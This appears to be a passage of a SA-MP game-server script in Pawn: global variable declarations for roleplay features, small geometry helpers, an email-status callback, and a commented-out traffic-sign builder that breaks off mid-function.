new bajje3;
new bajje4;
new bajje5;
new bajje1por;
new bajje2por;
new bajje3por;
new bajje4por;
new bajje5por;
new BetShopLock;
/*
new staffhesab;
new adminc = 0;
new helperc = 0;
new leaderc = 0;
new staffc = 0;
*/
//new rangerkir;
new skinlist = mS_INVALID_LISTID;
new skinxlist = mS_INVALID_LISTID;
new HeadShot;
new SVRestart;
new NaWarn;
new RestartTimer;
new ResTTM;
//new rope[MAX_ROPES];
new Float:HPVEH[MAX_VEHICLES];
new VehLink[MAX_VEHICLES][65];
new VehLinkDare[MAX_VEHICLES];
new VehicleTurbo[MAX_VEHICLES];
new vJump[MAX_VEHICLES];
new InfoSkate[MAX_PLAYERS][skate];
new Raft[MAX_PLAYERS];
new kaf[MAX_PLAYERS];
new anticheat[MAX_PLAYERS];
new flycheat[MAX_PLAYERS];
new CheckW[MAX_PLAYERS];
//new PayDayWill[MAX_PLAYERS];
new RobBug[MAX_PLAYERS];
new TedadClans;
new Erfan5H;
//new ChatrErfan,Chatr2Erfan;
new CarFireObj[MAX_PLAYERS]; // Under the script
new Reside[MAX_PLAYERS];
/*new gift1,
gift2,
gift3,
gift4,
gift5,
gift6,
gift7,
gift8,
gift9;*/
new Float:FaceAngle[MAX_PLAYERS];
new Float:PlayerHPP[MAX_PLAYERS];
new VehicleIDD[MAX_PLAYERS];
new ammoo[13][MAX_PLAYERS];
new Float:APP[MAX_PLAYERS];
new vehicledd[MAX_PLAYERS];
new interior[MAX_PLAYERS];
new Float:xx[MAX_PLAYERS];
new Float:yy[MAX_PLAYERS];
new Float:zz[MAX_PLAYERS];
new skinneg[MAX_PLAYERS];
new gun[13][MAX_PLAYERS];
new virt[MAX_PLAYERS];
new LockIs[MAX_VEHICLES][MAX_PLAYERS]
new ModShopS[MAX_PLAYERS];
new ReportTimer[MAX_PLAYERS];
new HelpTimer[MAX_PLAYERS];
new IsMulti[MAX_PLAYERS];
new Skiner[MAX_PLAYERS];
new CPT[MAX_PLAYERS];
//new RadarSS[MAX_PLAYERS];
new HideTag[MAX_PLAYERS];
//new RadarChecked[MAX_PLAYERS];
//new RadarTimer[MAX_PLAYERS];
//new PlayerSavedIP[MAX_PLAYERS][60];// Relog?! SiNaGaMeR
//new AutoIP[MAX_PLAYERS][60];// AutoLogin?! SiNaGaMeR
//new GetGunA;
//new DarBazKon;
//new DarSS;
new Float:AutoHelti[MAX_PLAYERS]; // vehicel health
new Shekast;
new SweepingJob[MAX_PLAYERS];
new vhcolor1[MAX_PLAYERS];
new vhcolor2[MAX_PLAYERS];
new TDD[MAX_PLAYERS];
//new ElamShod;
new bool:HoldingKey[MAX_PLAYERS];
new CheatPiz[MAX_PLAYERS];
//new DenyS[MAX_PLAYERS];
new SirenObject[MAX_VEHICLES];
new Float:ZAng[MAX_PLAYERS];
new Siren[MAX_VEHICLES];
new SweepT[MAX_PLAYERS];
new objj = mS_INVALID_LISTID;
//new hpss;
/*new army1,
army2,
army3,
army4,
army5,
army6,
army7,
army8,
army9,
army10;*/
new emruzt;
new AmmoSG[MAX_PLAYERS];
new AmmoS[MAX_PLAYERS];
new erfan5;
new PlayerText:TuningPTD[MAX_PLAYERS][1];
new PlayerText:NCPlayer[MAX_PLAYERS][6];
new PlayerText:PaintKills[MAX_PLAYERS];
new PlayerText:WantedTTD[MAX_PLAYERS];
new PlayerText:PaintDeath[MAX_PLAYERS];
new PlayerText:PINBox1[MAX_PLAYERS];
new PlayerText:PINBox2[MAX_PLAYERS];
new PlayerText:PINBox3[MAX_PLAYERS];
new PlayerText:PINBox4[MAX_PLAYERS];
new PlayerText:PINBox5[MAX_PLAYERS];
new PlayerText:Succ[MAX_PLAYERS];
new PlayerText:Unsucc[MAX_PLAYERS];
new PlayerText:Dayere1z[MAX_PLAYERS];
new PlayerText:Dayere2z[MAX_PLAYERS];
new PlayerText:Dayere3z[MAX_PLAYERS];
new PlayerText:Dayere4z[MAX_PLAYERS];
new PlayerText:Dayere5z[MAX_PLAYERS];
new PlayerText:Dayere6z[MAX_PLAYERS];
new PlayerText:Dayere7z[MAX_PLAYERS];
new PlayerText:Dayere8z[MAX_PLAYERS];
new PlayerText:Dayere9z[MAX_PLAYERS];
new PlayerText:Dayere0z[MAX_PLAYERS];
new PlayerText:PINNum1[MAX_PLAYERS];
new PlayerText:PINNum2[MAX_PLAYERS];
new PlayerText:PINNum3[MAX_PLAYERS];
new PlayerText:PINNum4[MAX_PLAYERS];
new PlayerText:PINNum5[MAX_PLAYERS];
new PlayerText:PINNum6[MAX_PLAYERS];
new PlayerText:PINNum7[MAX_PLAYERS];
new PlayerText:PINNum8[MAX_PLAYERS];
new PlayerText:PINNum9[MAX_PLAYERS];
new PlayerText:PINNum0[MAX_PLAYERS];
new PlayerText:EnterCode[MAX_PLAYERS];
new PlayerText:GPSS[MAX_PLAYERS];
new Text:PaintBox;
new Text:PaintBKiller;
new Text:PaintName;
new Text:PaintMostKills;
new Text:PaintTime;
new Text:PaintKhodeTime;
new Text:ReportsTD;
new Text:HelpmesTD;
new PlayerText:DistanceTD[MAX_PLAYERS];
//new PlayerText:reportstext2[MAX_PLAYERS];
//new Text:Clock1;
//new Text:Day1;
new OnAddF[MAX_PLAYERS];
new hanuzna[MAX_PLAYERS];
new OnFur[MAX_PLAYERS];
new Fur[MAX_PLAYERS];
new DarsadSpray[100][50];
//new NameFR[MAX_PLAYERS][512];
//new objit[MAX_OBJECTS];
new DarsadPlayer[MAX_PLAYERS];
new updatetimer[MAX_PLAYERS];
new PlayerText:FPS[MAX_PLAYERS] = {PlayerText:INVALID_TEXT_DRAW, ...};// ranger
//new PlayerText:RangerPing[MAX_PLAYERS] = {PlayerText:INVALID_TEXT_DRAW, ...};// ranger
new PlayerText:HP_TD[MAX_PLAYERS] = {PlayerText:INVALID_TEXT_DRAW, ...};// ranger
new Float:HEALTH[MAX_PLAYERS];
//new Float:AFKPosX[MAX_PLAYERS];
//new Float:AFKPosY[MAX_PLAYERS];
//new Float:AFKPosZ[MAX_PLAYERS];
new Float:SleepHealth[MAX_PLAYERS];
//new AdadClan[50];
new testemashin;
new PPG[MAX_PLAYERS];
new PPD[MAX_PLAYERS];
new PPA[MAX_PLAYERS];
new RRG[MAX_PLAYERS];
new pSexx[MAX_PLAYERS];
new objitx[MAX_PLAYERS];
new RRP[MAX_PLAYERS];
new Objet[MAX_PLAYERS];
new pizza1,
pizza2,
pizza3,
pizza4,
pizza5,
pizza6;
new sweeper1,
sweeper2,
sweeper3,
sweeper4,
sweeper5;
new Spraying[MAX_PLAYERS];
new OnSpray[MAX_PLAYERS];
new Spray[MAX_PLAYERS];
new SurfSv;
//new GGmute;
//new Speedc1;
new OnBallon[MAX_PLAYERS];
new SuckGhofl[MAX_PLAYERS];
new BallonChand[MAX_PLAYERS];
new Cancele[MAX_PLAYERS];
new VehModKharid[MAX_PLAYERS];
new clicked[MAX_PLAYERS];
// CreateLogo DeleteLogo
new test1;
new test2;
new GolBekkar;
new OnDrugMission;
//new Warnings;
// Adamake Jelo Spawn Ke Ranger Hast... :D
//new ActorRangerSpawn;
//new ActorMariana;
// End Of Adamak :|
// Marbot Be SkinPreview
new Text:ImagemEntrada;
//new Spray1;
new Spray2[50];
//new Spray3;
//new MarianaBox;
new Sprayst[50];
new ClantShow[MAX_PLAYERS];
new CountF[MAX_PLAYERS];
new KolFriends[MAX_PLAYERS];
new OnMashinKharidan[MAX_PLAYERS];
new AimbotWarnings[MAX_PLAYERS];
new OnTestMashine[MAX_PLAYERS];
new vhid[MAX_PLAYERS];
new rV[MAX_PLAYERS];
//new B1ToRah;
//new B2ToRah;
new HavingBall[MAX_PLAYERS];
new Anim[MAX_PLAYERS];
new Jammer[MAX_PLAYERS];
//new BasketBallSv;
new BasketPlayers;
new InBasket[MAX_PLAYERS];
new BasketScore[MAX_PLAYERS];
new Sqlf[MAX_PLAYERS];
new BasketLeader;
new BasketScoreWin;
new MultiWarn[MAX_PLAYERS];
new JoinWarn[MAX_PLAYERS];
new QuitWarn[MAX_PLAYERS];
//new TimeBasket;
new Ball;
new DayBan[MAX_PLAYERS];
new SelectedERequest[MAX_PLAYERS];
new roV[MAX_PLAYERS];
new EventDLG[MAX_PLAYERS][MAX_PLAYERS];
//new SelectedFRequest[MAX_PLAYERS];
new FDLG[MAX_PLAYERS][MAX_PLAYERS];
new
	bool:flying[MAX_PLAYERS];
//new BallStatus;
//new Baller;
//new ShootingBall;
//new BallBounce;
new Bl1;
new Bl2;
// Security-System Name Ranger
//new SecRanger;
// ----- HouseID: 389
//new sinadoor1;
//new sinadoorgate1;
//------------
// ----- HouseID: 69
//new sinadoor2;
//new sinadoorgate2;
//------------
// ------ HouseID: 227
//new sinadoor3;
//new sinadoorgate3;
// ----------
new betshopgate;
// ----------

new erfan1;
new erfan2;
new erfan3;
new erfan4;
new ErfanDar1;
new ErfanDar2;
new PlayerText:TD_PlayerName[MAX_PLAYERS];
new PlayerText:SAR[MAX_PLAYERS];
//new PlayerText:GoshnegiBox;
//new PlayerText:TeshnegiBox;
//new PlayerText:GoshnegiDarsad;
//new PlayerText:TeshnegiDarsad;
//new PlayerText:Wantedtimeleft;
//new Text:TD_PllayerName[MAX_PLAYERS];



// Carousels by Sina
new
//Carousel
	//Carousel_Base           ,
	//Carousel_Base2          ,
	//Carousel_Seats[4]       ,
	//Carousel_Unused[12]     ,
//Carousel

//Observer
	Observer_Base			,
	Observer_Seats[2]		,
//Observer

//FerrisWheel
	FerrisWheel_Base		,
	FerrisWheel_Seats[10]	,
//FerrisWheel

//Crazy Cow
	Cow_Seats[4]			,
	retere = -1
;
////////////////////////////////////////////////////////////



Float:GetPointAngleToPoint(Float:x2, Float:y2, Float:X, Float:Y)
{

  new Float:DX, Float:DY;
  new Float:angle;

  DX = floatabs(floatsub(x2,X));
  DY = floatabs(floatsub(y2,Y));

  if (DY == 0.0 || DX == 0.0)
  {
	if(DY == 0 && DX > 0) angle = 0.0;
	else if(DY == 0 && DX < 0) angle = 180.0;
	else if(DY > 0 && DX == 0) angle = 90.0;
	else if(DY < 0 && DX == 0) angle = 270.0;
	else if(DY == 0 && DX == 0) angle = 0.0;
  }
  else
  {
	angle = atan(DX/DY);

	if(X > x2 && Y <= y2) angle += 90.0;
	else if(X <= x2 && Y < y2) angle = floatsub(90.0, angle);
	else if(X < x2 && Y >= y2) angle -= 90.0;
	else if(X >= x2 && Y > y2) angle = floatsub(270.0, angle);
  }
  return floatadd(angle, 90.0);
}

GetXYInFrontOfPoint(&Float:x, &Float:y, Float:angle, Float:distance)
{
	   x += (distance * floatsin(-angle, degrees));
	   y += (distance * floatcos(-angle, degrees));
}
forward EmailDelivered(index, response_code, data[]); //forward response callback, so pawno doesnt say there is some undefinded symbol

public EmailDelivered(index, response_code, data[])//data[] Will contain "Email delivered" see in PHP file
{
	new buffer[128];
	if(response_code == 200)
	{
	   format(buffer, sizeof(buffer), "Status: %s", data);//In game will print Status: Email delivered
	   SendMessage(index, COLOR_RED, buffer);
	}
	else
	{
	   format(buffer, sizeof(buffer), "Status: Undelivered Response Code: %d", response_code);//Else will print error code, see reference
	   SendMessage(index, COLOR_RED, buffer);
	}
	return 1;
}

/*stock CreateTrafficSign(signid, Float:x, Float:y, Float:z, Float:rz, Float:viewdistance = 200.0, string[] = "")
{
	   switch(signid)
	   {
		  case SIGN_STOP:
		  {
					new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 967, "cj_barr_set_1", "Stop2_64");
					SetDynamicObjectMaterial(trafficsign_id, 1, 967, "cj_barr_set_1", "Stop2_64", 0xFFCCCCCC);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					return SignCounter;
			 }
			 case SIGN_YIELD:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0, 0, rz, viewdistance, viewdistance);
				new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.525, -0.05, 0.95, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.5215, -0.055, 0.98, p[3], p[4], p[5]);
				aTraffic_Position(trafficsign_id, -0.525, -0.025, 0.95, p[6], p[7], p[8]);

				CreateDynamicObjectEx(2986, p[0], p[1], p[2], -90.0000, 90.0000, rz-90, viewdistance, viewdistance);
				CreateDynamicObjectEx(2986, p[3], p[4], p[5], -90.0000, 90.0000, rz-90, viewdistance, viewdistance);
				CreateDynamicObjectEx(2986, p[6], p[7], p[8], -90.0000, 90.0000, rz-90, viewdistance, viewdistance);
				SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
				SetDynamicObjectMaterial(trafficsign_id, 1, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "5", 50, "Webdings", 100, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "5", 50, "Webdings", 70, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "5", 50, "Webdings", 100, 0, 0xFFCCCCCC, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_PROHIBITED:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
				new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, 0.48, -0.055, 0.835, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], -90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "-", 60, "Arial", 200, 0, -1, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_PROHIBITED2:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
				aTraffic_Position(trafficsign_id, 0.45, -0.045, 1.15, p[6], p[7], p[8]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 115.5, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "\\", 60, "Arial", 95, 1, -65536, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_CROSSWALK:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.52, -0.04, 0.9, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.49, -0.06, 0.835, p[3], p[4], p[5]);
				aTraffic_Position(trafficsign_id, -0.5, -0.06, 0.95, p[6], p[7], p[8]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], -90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], -90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 18646, "matcolours", "lightblue", 0xFF00CCFF);
					SetDynamicObjectMaterial(trafficsign_id, 1, 18646, "matcolours", "grey");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "6", 50, "Webdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "||||||||", 60, "Arial", 20, 1, -16777216, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "m", 60, "Webdings", 45, 0, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_MAXVELOCITY:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.05, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.055, 0.455, p[3], p[4], p[5]);
				aTraffic_Position(trafficsign_id, 0.48, -0.065, 0.95, p[6], p[7], p[8]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, string, 60, "Arial", 30, 1, 0xFF000000, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_MINVELOCITY:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.05, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, 0.5, -0.06, 0.95, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 90, 90, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, string, 60, "Arial", 30, 1, 0xFFFFFFFF, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_MAXTONNE:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.05, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.055, 0.455, p[3], p[4], p[5]);
				aTraffic_Position(trafficsign_id, 0.48, -0.065, 0.95, p[6], p[7], p[8]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 90.0000, 90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, string, 60, "Arial", 30, 1, 0xFF000000, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_WALKERONLY:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.5, -0.05, 0.95, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "m", 60, "Webdings", 45, 0, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_BIKEONLY:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[6];
				aTraffic_Position(trafficsign_id, -0.03, -0.025, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.5, -0.05, 0.975, p[3], p[4], p[5]);

					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0, 90, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, 0xFF00CCFF, 0, 1);
		  SetDynamicObjectMaterialText(trafficsign_id+2, 0, "b", 60, "Webdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					return SignCounter;
			 }
			 case SIGN_BIKEPROHIBITED:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
		  aTraffic_Position(trafficsign_id, -0.5, -0.06, 0.975, p[6], p[7], p[8]);
					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "b", 60, "Webdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_PROHIBITEDDIR1:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
		  aTraffic_Position(trafficsign_id, -0.485, -0.06, 0.945, p[6], p[7], p[8]);
					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_PROHIBITEDDIR2:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
		  aTraffic_Position(trafficsign_id, -0.015, -0.06, 1.45, p[6], p[7], p[8]);
					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], 0.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+3, 0, "?", 60, "Wingdings", 65, 1, -16777216, 0, 1);
					SignCounter++;
					TrafficSign[SignCounter][M1] = trafficsign_id;
					TrafficSign[SignCounter][M2] = trafficsign_id+1;
					TrafficSign[SignCounter][M3] = trafficsign_id+2;
					TrafficSign[SignCounter][M4] = trafficsign_id+3;
					return SignCounter;
			 }
			 case SIGN_PROHIBITEDDIR3:
			 {
				new trafficsign_id = CreateDynamicObjectEx(8548, x, y, z, 0.0, 0.0, rz, viewdistance, viewdistance);
					new Float:p[9];
				aTraffic_Position(trafficsign_id, -0.03, -0.03, 0.45, p[0], p[1], p[2]);
				aTraffic_Position(trafficsign_id, -0.025, -0.04, 0.455, p[3], p[4], p[5]);
		  aTraffic_Position(trafficsign_id, 0.485, -0.06, 0.95, p[6], p[7], p[8]);
					CreateDynamicObjectEx(2986, p[0], p[1], p[2], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[3], p[4], p[5], 0.0000, 90.0000, rz-90, viewdistance, viewdistance);
					CreateDynamicObjectEx(2986, p[6], p[7], p[8], -90.0000, -90.0000, rz-90, viewdistance, viewdistance);
					SetDynamicObjectMaterial(trafficsign_id, 0, 0, "null", "null");
					SetDynamicObjectMaterialText(trafficsign_id+1, 0, "l", 60, "Wingdings", 120, 0, -65536, 0, 1);
					SetDynamicObjectMaterialText(trafficsign_id+2, 0, "l", 60, "Wingdings", 90, 0, 0xFFFFFFFF, 0, 1);
